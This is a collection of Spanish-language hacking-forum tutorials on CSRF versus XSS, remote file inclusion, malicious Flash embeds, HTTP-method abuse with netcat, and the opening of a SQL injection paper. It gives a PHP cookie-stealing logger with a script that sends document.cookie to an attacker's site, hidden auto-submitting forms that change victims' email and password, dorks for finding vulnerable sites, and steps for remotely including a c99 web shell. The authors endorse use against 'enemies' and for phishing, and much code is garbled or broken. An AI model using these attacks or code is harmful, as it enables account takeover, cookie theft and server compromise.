Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada
En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado
Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.

Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta solo lo logre traducir...

4.) CSRF  y Xss

Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad
Es parecida o igual a xss.

Les explico bueno xss se aprovecha de la confianza de la victima  que tiene el sitio
Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.

El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario...

4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits

Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.

Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...

- ROBO DE COOKIES EN XSS

Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code
Código: php
[url] o [img] 

no filtre bien el contenido que se le asigne.

Para algunos que no entienden lo de
Código: php
[url] y [img]
es cuando dentro del
Código: php
[url]
agregariamos un link como
Código: php
"javascript:alert("xss")"
y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).

Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)

Código: php

<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>


PD: Este code no es mio es de Chebyte. Pero esto es basico...

Bueno, le explicare el code para quienes no lo entiendan:

$cookie = $_REQUEST[cookie] : El que recibe la cookie
$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura
fput($file, "$cookie\n") : Muestra la cookie
fclose($file) : Cierra

Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:

Código: php
<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>


Y Tachan! tienes la cookie...

Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:

1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking
2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..
3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona
4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP
5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]
5. SCRIPT KIDDIE: Hacking MSN -.-"

Ahora pasaremos a hablar del CSRF clasico:

- XSRF/CSRF Clasico

Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.

Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):

Código: php

<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">
<script>document.submit();</script>


Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...

Tambien si al cambiar datos salga un link como este:

CitarNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:

Man vota por mi
Código: php
[url=http://www.web.com/[email protected]&pass=PasSCambiadoBuajaja]AQUI[/url]


Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..

Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...

Mis saludos a:

ShadinessDark, KuTer, _84kur10_, k4mus23, Jeferx, D4NB4R, Darki113r, ChEk0_Hack, DestruKci0oN, Xianur0, Zer0 Z0orG, Zer0-R00t, x_jeshua, ZH4RK, zonithack, Bashettzx, Crazyhacker16, krisium, tkdead, MaNditOo, loreValdy, wscalle1 y todos mis grandes amigos =P...

Saludos a Pandora's Box Team..

5.)Testeando vulnerabilidad CSRF y programas el code vulnerable

Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una
Imagen, daré un breve ejemplo: 

Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito
Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:

Por ejemplo usando una imagen src.
<img src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">

Script 
<script src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">

Casi siempre se usan los IFRAME

<iframe src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">

Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript

<script>
var foo = new Image(); var foo = new Image ();
foo.src = "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</script>

También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript -  JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen
Realizar peticiones REMOTAS.

¿Cambiando datos de la victima?


Bueno este breve codigo es solo un pequeño ejemplo:

<script>
var post_data = 'name=value'; post_data var = 'nombre = valor';
var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();
xmlhttp.open("POST", 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta', true); No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ( "POST", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ', true);
xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (
if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)
{ (
alert(xmlhttp.responseText); alert (xmlhttp.responseText);
} )
}; );
xmlhttp.send(post_data); xmlhttp.send (post_data);
</script> </ script>

Como podemos ver en este código hacemos una petición a POST
Acuérdense que arriba les comente que cuando el atacante usa un código
Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...

¿A dónde se dirige esta petición?

Bueno esta petición se dirige a la base de datos del sitio me explico
Cada vez que hacemos cambios extremos en nuestro perfil todo pasa
Por una base de datos  bueno cuando la victima le da clic a la url enviada
Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta
De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?   

7.) Sacando una conclusión a todo.

Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.

Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.
Haciendo una petición en la base de datos del código del atacante...

8.) Como cuidar nuestra Web de este tipo de ataques


Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga
'Actualcontraseña'  Antes de seguir el código que pondré es sacado de la siguiente pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Después que estemos en el index.php introduciremos este código con el Actualcontraseña  esto tiene que ir dentro de <?php...
Código: php

<form method="POST" action="datos.php" name="datos">
          Usuario <input type="text" name="usuario">
          Email <input type="text" name="email">
          Contraseña <input type="text" name="contraseña">
          Email alternativo: <input type="text" name="emailalternativo">
      Contraseña Actual: <input type="text" name="actualcontraseña">
         <input type="submit" name="submit" value="cambiardatos">
     </form>


Luego buscamos el archive que se llama Config.php lo pueden encontrar
Por el mismo FTP y le agregamos lo siguiente:

Código: php
<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>


En el archive datos.php usaremos lo siguiente:

Código: php
<?

include('config.php');

     session_start();
     if(isset($_REQUEST['usuario']))
          $usuario = $_REQUEST['usuario'];
     else
          die("Rellene el campo Usuario");
     if(isset($_REQUEST['email']))
          $email = $_REQUEST['email];
     else
          die("Rellene el campo email");
     if(isset($_REQUEST['contraseña']))
          $contraseña = $_REQUEST['contraseña];
     else
          die("Rellene el campo Contraseña");
     if(isset($_REQUEST['emailalternativo']))
          $emailalternativo = $_REQUEST['emailalternativo];
     else
          die("Falta el email alternativo");
    if(isset($_REQUEST['actualcontraseña']))
          $actualcontraseña = $_REQUEST['actualcontraseña];
     else
          die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
     
     ?>


Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin
Y le damos donde dice Consulta y introducen el siguiente código:
Código: php




CREATE TABLE `myhosting_usuarios` (
  `id` int(11) NOT NULL auto_increment,
  `usuario` varchar(15) NOT NULL,
  `email` varchar(15) NOT NULL,
  `emailalternativo` varchar(15) NOT NULL,
  `contraseña` varchar(150) NOT NULL,
  `contraseñaa` varchar(150) NOT NULL,
  KEY `id` (`id`)
) ENGINE=MyISAM;



INSERT INTO `myhosting_usuarios` VALUES (1, 'SecurityKill', '[email protected]', '[email protected]', 'mypass', 'mypass');



9.) Despedida

Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron
Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación
Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran
Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei
Me gustan las críticas  así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos
Puesto en algunos la fuente les deseo un gran fin de semana...

No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato... 

Group's Ethical.

Zero Bits
#52
Bugs y Exploits / [Tutorial] RFI By ShadinessDark
Febrero 24, 2010, 03:24:23 PM

Tutorial remote file inclusion

1.) Presentación

2.) Que es RFI

3.) Dorks RFI

4.) Testeando la vulnerabilidad

5.) Sacando una conclusión a todo

6.) Como cuidar nuestra Web de este tipo de ataques

7.) Despedida


1.) Presentación

Primero que nada este tutorial va dedicado a mis amigos de BugDox  y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...

¿Por qué diferente?

Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados

¿A que se debe este tutorial?

Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?

Los saludos más especiales para mis compañeros:

Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz

2.) Que es RFI

RFI tiene como nombre Remote File Inclusión en español inclusión remota de archivo
Como ya saben que dice en la wikipedia esta vulnerabilidad se encuentra en páginas
Dinámicas ósea echas en PHP no en todo tipo de Web como saben siempre es depende
Del buen programador esta vulnerabilidad se encuentra en include()  casi siempre
Buscamos en los códigos de fuentes por eso es bueno estar pendiente de nuestra Programación cuando tenemos un sitio Web, Un atacante puede inyectar su código
En un programa PHP en su servidor, Cuando acceden al servidor pueden acceder a Cualquier que tiene el programa PHP por ejemplo:

Base de datos
Archivos de contraseña
Y otras cosas

Pueden instalar sus propios servidores que lo ejecutan con los privilegios de la victima
Del servidor Web como {apache o httpd} Y si el servidor no lo han modificado en algunos locales de la vulnerabilidad de escalada de privilegios el atacante que monto
La shell puede ser usada para convertirse en root... 

3.) Dorks RFI

Con un dork podemos conseguir las vulnerabilidades al azar con solo visitar
Www.Google.com y poner lo siguiente:


/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

Uno de estos dos les servirá si no visiten No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


4.) Testeando la vulnerabilidad


Bueno ya hemos encontrado una Web ahora vamos a testearla  haber si es vulnerable
Primero que nada muchas veces esto se encuentra con solo revisar en los códigos de Fuente siempre se encuentra lo siguiente:


Código: php
<?php

include"#bugdox";

?>


Recordemos que esta vulnerabilidad se presenta cuando se intenta meter una página
Remota adentro de la otra y se utilizan lo códigos que di como ejemplo cuando se Encuentra la Vulnerabilidad.include() lo que hace es incluir una pagina remota por ejemplo $Bugdox

Se puede utilizar una url bajo argumento y eso es lo que hace explotar RFI por ejemplo:
Código: php

http://vulnerable.com/badcode?ejemplo=


tenemos ?ejemplo.php cuando el atacante introduce su codigo malicioso.
Citar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 

Www.xD.com es la Web donde subí mi SHELL con el nombre c99.jpg

Al ejecutar esto en la Web de la victima ¿Qué pasa? No recoge ejemplo.php
Si no que el sistema agarra la url maligna que es la que le da una CONEXIÓN REMOTA que es cuando introducimos nuestra shell ¿Me entienden?.Un atacante
Puede saber controlar las variables de PHP se hace mediante:

Código: php
mis-PHP register_globals función.


Cuando register_globals esta habilitado en PHP el lenguaje automagicamente
Hace una instancia con los valores de las variables de la petición en http, y los pone
En el espacio de nombres del programa PHP.

Cuando se activa se le permite a un atacante inyectar un valor para cualquier variable Sin inicializar en cualquier programa solo el atacante añade un parámetro GET al final De la url es decir después de "="

Ejemplo hemos entrado en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hemos mirado el código de fuente
Hemos observado que tiene include() hacemos la prueba:
Código: php

http://vulnerable.com/badcode?ejemplo=http://Www.google.com


Resulta que al darle clic nos redirección a GOOGLE de una vez ya sabemos que la Web Es vulnerable a RFI.

Luego que encontramos nuestra Web vulnerable buscamos nuestra SHELL
Ya sea c99 o r57 y hay otras mas.

Buscamos un hosting gratuito que soporte PHP y guardamos nuestra shell en un
Jpg.php o con gif.php no importa el formato porque tampoco que vamos a poner
Cualquier formato a veces muchas Web no permiten extracciones como gif y otras...

5.) Sacando una conclusión a todo

Como pueden ver la lógica rfi no es muy difícil es un ataque muy básico
Trata de que No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es la Web vulnerable bugdox.php esta es la que
Incluirá el redireccionamiento ?ejemplo= Esta es la que le permite a un atacante
Introducir códigos maliciosos por ejemplo la SHELL y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este sitio es el que almacena la shell...

6.) Como cuidar nuestra Web de este tipo de ataques

Para evitar este tipo de ataques en nuestros sitios podemos ir al FTP y buscar
La configuración index.php lo editamos y agregamos lo siguiente:

Antes de continuar este CODIGO de seguridad no es hecho por mi lo pueden ver
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta...

Codigo:

if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "El acceso a este lugar lo tiene denegado o no existe";
}

Ejemplo de codigo:

echo "El acceso a este lugar lo tiene denegado o no existe";

Este if funciona de la manera que si al colocar:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No te redireccionara si no que te dirá El acceso a este lugar lo tiene desnegado o no Existe pero si por ejemplo agregamos:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y si existe pasara normalmente sin dar el error para que no de el Error este archivo debe existir.

7.) Despedida

Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...

No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato.

By ShadinessDark
#53

El peligro de permitir flash en los sitios.
By ShadinessDark

1.) Presentación

2.) ¿Que es flash?

3.) Método de ataque y ejemplo de Software

4.) Conclusión

5.) Despedida

1.) Presentación

Primero que nada este tutorial va dedicado a mis amigos de BugDox  y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...

¿Por qué diferente?

Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados

¿A que se debe este tutorial?

Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?

Los saludos más especiales para mis compañeros:

Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz

1.) ¿Que es flash?

Segun la wikipedia:
Adobe Flash es una aplicación en forma de estudio de animación que trabaja sobre "Fotogramas" destinado a la producción y entrega de contenido interactivo para diferentes audiencias alrededor del mundo sin importar la plataforma. Es actualmente escrito y distribuido por Adobe Systems, y utiliza gráficos vectoriales e imágenes ráster, sonido, código de programa, flujo de vídeo y audio bidireccional (el flujo de subida sólo está disponible si se usa conjuntamente con Macromedia Flash Communication Server). En sentido estricto, Flash es el entorno y Flash Player es el programa de máquina virtual utilizado para ejecutar los archivos generados con Flash.

Los archivos de Flash, que tienen generalmente la extensión de archivo SWF, pueden aparecer en una página web para ser vista en un navegador, o pueden ser reproducidos independientemente por un reproductor Flash. Los archivos de Flash aparecen muy a menudo como animaciones en páginas Web y sitios Web multimedia, y más recientemente Aplicaciones de Internet Ricas. Son también ampliamente utilizados en anuncios de la web.

En versiones anteriores, Macromedia amplió a Flash más allá de las animaciones simples, convirtiéndolo en una herramienta de desarrollo completa, para crear principalmente elementos multimedia e interactivos para Internet.

Fue hasta 2005 perteneciente a la empresa Macromedia conocido hasta entonces como Macromedia Flash® y adquirido por Adobe Systems (desde entonces conocido como Adobe Flash) ampliando con ello su portafolio de productos dentro del mercado. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

3.) Método de ataque y ejemplo de Software

Vamos a imaginar que tenemos un sitio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta este sitio permite a los
Usuarios poner sus firmas en flash y sus imágenes flash haciendo el uso de la
Etiqueta EMBED, Imaginemos que vamos a nuestro perfil donde editamos nuestros
Datos y entramos a donde colocamos la firma y agregamos.

Código: php
<EMBED
src="http://www.xD.com/miflash.swf"
pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash" type = "application / x-shockwave-flash"
width="0" width = "0"
height="0" height = "0"
>
</ EMBED>


Este código lo añade el atacante en la cajita de TEXTO del foro de la victima la cual
Permite robar las cookies de sesión de usuario digamos que este ataque se reproduce
En sitios que permiten usar mucho flash hay una página que hace poco mire que fue
Por ella que me nació la idea de hacer este tutorial quizás muchos la conocen No tienes permitido ver los links. Registrarse o Entrar a mi cuenta bueno hay antes permitían mucho usar el flash no se si
Todavía lo hagan bueno este sitio permite que suban archivos los usuarios...

Bueno en el caso de los SMF el flash es peligroso va para los webmasters empezando
Por mi que uso flash en mi SMF ya en SMF la etiqueta es [flash]http://y cierra[/flash]
La etiqueta [Flash]http://se convierte en la etiqueta de un objeto correcto...

Un ejemplo:
Código: php
[Flash] http://www.xD.com/miflash.swf[/flash]


Interpretemos por el script y nos quedaría algo así en lo anterior: 

Código: php


<object
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" classid = "clsid: D27CDB6E-AE6D-11cf-96B8-444553540000"
width=200 width = 200
height=200> height = 200>
<param
name=movie = nombre de la película
value= http://www.xD.com/miflash.swf> value = http://eyeonsecurity.net/download/example.swf>
<param
name=play name =juego
value=true> valor = true>
<param
name=loop = nombre del punto de
value=true> valor = true>
<param name=quality <param name = Muy bueno
value=high> valor =alto>
<embed
src=http://www.xD.com/miflash.swf
src=http://www.xD.com/miflash.swf
width=200 width = 200
height=200 height = 200
play=true Escuchar = true
loop=true loop = true
quality=high> quality = high>
</embed> </object> 


Bueno Uds se preguntaran que es clsid:D27CDB6E-AE6D-11cf-96B8-444553540000
Solo es un tag.

Bueno estos solo son ejemplos toda pagina Web que permite FLASH en la Web es probablemente vulnerable a un ataque XSS 

¿Cómo protegemos nuestro sitio Web?

Solamente no permitamos los archivos flash en web-app. También una buena solución
Seria analizar la realidad del problema animación flash y el filtro de parámetros maliciosos
Usados por el atacante por medio de getURL(). Con esto me refiero a cuando un sitio Web
Permite que los archivos swf sean cargados al servidor, Muchos webmasters permiten a los Usuarios subir archivos lo mas seguro seria que los Webmasters del sitio bloqueen todo lo que
Tenga que ver con flash que contiene getURL() Esta acción no se refieren específicamente el ataque se reproduce a un sitio http xD también podemos cambiar getURL() esto podemos lograrlo por medio de la especificación de la ventana  "_blank" me imagino que la han oído
En lenguaje de programación Web al hacer el cambio descritos la dirección URL javascript no
Se ejecutara con privilegios en el dominio que te aloja...
Como muchos sabemos ActionScript es un lenguaje es un lenguaje de Scripting complejo y proporcionamos con el la función eval() esto le permite a los atacantes mas sofisticados para
Evitar la  protección de una análisis de ActionScript...

Un buen ejemplo le definiríamos asi:

Código: php
a = "get"; 
b="URL"; b = "URL";
c="javascript:"; c = "javascript:";
d="alert('bypassed');void(0);"; d = "alert ( 'omite'); void (0);";
eval(a+b)(c+d); eval (a + b) (c + d);


Espero y me entiendan...

4.) Conclusión

Bueno si le vemos un poco la lógica a todo no es muy interesante pero peligrosa
Para los Webmaster a la hora de permitir usar SWF en su sitio Web, Si vemos
Este ataque nos lleva a un ataque XSS, Creo que con la explicación es más que
Entendible que  el archivo la cual hemos subido como flash cuando la victima
Le da clic podemos sacar las cookies y así usarla para las travesuras si me equivoco
Corríjanme.

5.) Despedida



Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...

No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato...
#54
Introducción al HTTP Hacking

Este solo es una mera introduccion al HTTP Hacking hablando de los metodos y algunos ejemplos de como funcionan. Antes lean esto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ya que leyeron, explicare los metodos HTTP....

Metodos HTTP:

GET: Viene activado por defecto, puede obtener info de un fichero y tambien solicita una pagina.

HEAD: El server devuelve los headers de la pagina, gracias a eso podemos sacar buena info del Servidor.

Ej: Vamos a usar el MS-DOS con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Abromps el MS-DOS y escribimos "nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80", se conectara en la linea de abajo de eso, escribimos: HEAD / HTTP/1.1, le damos dos veces a ENTER para confirmar y nos tira informacion como esta:


Cache-Control:Directivas que deben ser usadas a lo largo de la peticion
Content-Type:Con lo que salio, deben imaginarse
Set-Cookie:La cookie


Nos puede dar esa o mejor Informacion, depende del Servidor...

OPTIONS: Aqui esta otro que nos da mucha info, tambien informa de los metodos permitidos por el Servidor.

Ej: Probemos con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta este metodo xD:


Podemos ver que info que sabran que es como DATE (La fecha actual), Server (Me imagino que ya sabran con lo que leyeron xD), Content-Length (Numero de caracteres), pero para quienes no conocen a ALLOW, dice los metodos permitidos por el Servidor, entonces aqui se permiten GET, HEAD, POST, OPTIONS y TRACE.

TRACE: Responde lo que le enviemos, podremos aprovecharnos de esa haciendo XSS o cualquier otra cosa como Floodearlo...

Ej:

Citar
nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
TRACE / HTTP/1.0
<script>alert("Probando TRACE")</script>

Netcat dira si se llego a lograr o no...

POST: Podemos hacer que el servidor acepte informacion enviada por nosotros.

Ej: Podemos hacer que un uploader acepte una imagen con contenido malicioso.

PUT: Cuando vean que el servidor acepte PUT, leyendo esto puede que se emocionen, ya que PUT permite modificar un fichero.

Ej:

CitarPUT /index.html HTTP/1.0
Content-Length: 14
<h1>Owned</h1>

Content-Length, es el numero de caracteres....

Dependiendo de si funciona o no, te lo dira... A veces piden autorizacion, dependiendo de la seguridad, solo ahi que poner la IP o nombre del Servidor.

DELETE: Borra un fichero.

Ej:

nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80
DELETE /index.html HTTP/1.0

Bueno ya hemos terminado esta breve Introduccion al Http Hacking...

Pueden leer tutos:

* Aprende a usar Live http Headers

* HTTP al Descubierto By Sknight & Vengador de las Sombras

Autor: Zero Bits
Fecha: 24/07/09
Team: Pandoras Box Team
#55
Código: php
###################################
#Author: blood_rec                #
#Colaborators: Georgio            #
#blog: http://h4xxor.blogspot.com #
#web: http://e-r00t.org           #
#contact: blood_rec @el-hacker.org #
###################################


####################################################################
# Cubriendo Y Aplicando Teorias De Inyecion Sql                    #
####################################################################
==========================================================================================================================================================
A-Introduccion:

Este Paper pretende cubrir 2 areas Teoria Y Practica si no te gusta leer mucho simplemente Erase (borra) el paper con este paper pretendemos cubrir todo lo referente recopilando info y con los conocimientos limitados que tenemos queremos simplemente dar una guia referente al tema es como el Paper de "Defacing De La Manera Correcta" pero esta vez con practicas y lectura para entretener al usuario que quiere adentrarse en el tema del defacing.

es imprecindible que no traten de saltar ninguna area ya que pretendemos cubrir lo mas extenso posible para que tenga un buen enfasis de lo que realizan y el escenario que enfrentaremos alla afuera en la web

ya e escribido varias veces sobre las vulnerabilidades webs y ciertamente cada vez que pasan los dias la tecnologia y la web se va moviendo a pasos Agigantados hasta el punto que se a vuelto en el medio publicitario mas grande de estos dias.

pero a medida que nos movemos muchos quieren convertirse en desarrolladores de aplicaciones asi como webmasters u administradores de servidores webs,la competencia es amplia y asi como es amplia las vulnerabilidades aumentan asi como las viejas (vulnerabilidades) siguen haciendo presencia en nuestros scripts (me incluyo) por que estamos sujetos a cometer errores con nuestras aplicaciones.

ya los que me conocen saben que soy bien teorico en este tema y me gusta abarcar el medio Pero Por que lo hago? el conocimiento del hombre esta bajo unas letras y mientras mas entendamos el tema podemos aplicar todo lo que se explica dentro de el.

En este paper estaremos cubriendo las areas mencionadas en el menu arriba y asumimos que la practica la llevaras a cabo en tu servidor local L.A.M.P <> W.A.M.P, sea el escenario en una red LAN de tu propiedad o el escenario ya mencionado pero asumimos que todo es con motivo educacional y proponiendo los problemas ya mencionados en el tema.

asumimos que si estas leyendo este paper tienes conocimientos basicos de php si no es asi puedes pasar por http://php.net y ahi podras encontrar mucha info al respecto, asi como puedes encontrar informacion en http://google.com = search - php manuales xD. y pases por el buscador a buscar referencias sobre lo que no entiendan asi como los otros lenguajes al menos conocimientos basicos como en perl,html,javascript etc pero al menos lo basico...

Segun Wikipedia:
SQL Injection es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el
código "invasor en la base de datos.


bueno a lo que vivnimos...
#####################################################################
B-Inyecciones SQL (SQL Injections):

Primero asumo que llegastes a este manual por que quieres aprender como se realiza este ataque y muchas veces debes haber leido esta explicacion pero muchos que empieza este tema pues aun no se enteran de que se trata esto y que significa pues como lectura obligatoria pongo su significado.

Inyeccion Sql Es cuando un comando SQL que es un lenguaje de gestion de datos es ejecutado con las intenciones de obtener data de una base de datos,en palabras mas tecnicas estamos haciendo una consulta arbitraria  de un comando peviamente establecido., y de esa manera manipulamos la aplicacion que queremos.

No es algo muy avanzado ni muy nuevo en nuestro mundo under y realmente se pregunta constantemente pero que herramientas debo usar para hacer inyecciones sql's ?

realmente no nesesitas muchas tools con solo firefox bastara xD http://mozzila.org/firefox ,...

explotar validaciones de aplicaciones que se gestiones por base de datos mysql son el escenario que realmente perseguimos o un ejemplo de probar dicha vulnerabilidad,...

Obviamente no puedo llenarlos de letras explicando todo esto todo el dia por que igual me criticarian y a mi me facina escribir pero en fin vallamos mas adelante:

1-Detectando La Vulnerabilidad:
Bueno lo primero que nesesitaremos es obviamente la curiosidad y la malicia pongamos el escenario asi; entramos en una pagina dinamica en php y nos pide una autentificacion., obviamente no la tenemos y tendremos que registrarnos interactuando con una forma en php que asi mismo ella interactua con una base de datos para incluir el usuario.

ok para saber como interactuan ambas sabmos que cuando registras un usuario en una forma y queda registrado en la base de datos quedan guardados en una tabla o en muchas de ellas seria en la tabla de miembros y el usuario asi como el password quedan guardados en diferentes columnas., detente si no tienes idea de esto es hora que te pases por http://wikipedia.org/SQL .

